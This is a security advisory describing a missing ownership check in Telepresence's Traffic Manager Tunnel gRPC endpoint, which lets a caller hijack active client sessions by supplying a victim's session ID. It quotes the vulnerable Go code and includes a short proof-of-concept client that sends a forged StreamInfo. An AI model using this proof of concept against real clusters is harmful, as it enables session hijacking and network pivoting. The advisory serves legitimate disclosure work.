CVE-2026-102339: Telepresence: Tunnel endpoint accepts caller-supplied session ID with no ownership proof — active client sessions hijackable

## Summary The Traffic Manager `Tunnel` gRPC streaming endpoint accepts a session ID from the first bytes of the client-controlled message payload. No verification confirms the caller owns the session. An attacker supplying a valid active session ID receives a fully routed tunnel for that session, gaining the network routing capabilities of the legitimate Telepresence client. Tested on HEAD v2.28.0, commit b2231a4. ## Details The `Tunnel` handler reads identity from a client-provided binary payload rather than from a verified credential or prior authenticated gRPC call: ```go // cmd/traffic/cmd/manager/service.go:1057-1063 func (s *service) Tunnel(server grpc.BidiStreamingServer[...]) error { stream, err := tunnel.NewServerStream(ctx, tunnel.ClientToManager, server) return s.state.Tunnel(ctx, stream) // stream.SessionID() is client-controlled } ``` `state.Tunnel` looks up the session ID in the sessions map with no ownership proof: ```go // cmd/traffic/cmd/manager/state/state.go:698-703 func (s *State) Tunnel(ctx context.Context, stream tunnel.Stream) error { id := stream.SessionID() // from client payload bytes if cs, ok := s.clients.Load(id); ok { return s.clientTunnel(ctx, cs, stream) // full dialer granted } return grpcErrors.Errorf(codes.NotFound, ...) } ``` The session ID is parsed from the wire message with no binding to the transport-level identity of the caller (pkg/tunnel/message.go:209-214). ## Proof of Concept Precondition: a valid active session ID (obtainable via ArriveAsClient, which has no auth either). ```go conn, _ := grpc.NewClient("traffic-manager.ambassador:8081", grpc.WithTransportCredentials(insecure.NewCredentials())) mgr := rpc.NewManagerClient(conn) tunnelStream, _ := mgr.Tunnel(ctx) // Send StreamInfo with victim session ID in payload tunnelStream.Send(&rpc.TunnelMessage{Payload: buildStreamInfo(victimSessionID, ...)}) // Traffic Manager routes tunnel traffic for victimSessionID // through this attacker-controlled bidirectional stream ``` ## Impact A caller supplying a valid session ID of an active Telepresence client obtains a tunnel endpoint for that session's network routing context. Session IDs are UUID4s, making cold brute-force impractical; exploitation materialises when session IDs are obtainable via log leakage or cluster-internal channels. Combined with the unauthenticated ArriveAsClient endpoint, an attacker can create their own sessions and pivot to impersonate active developer sessions.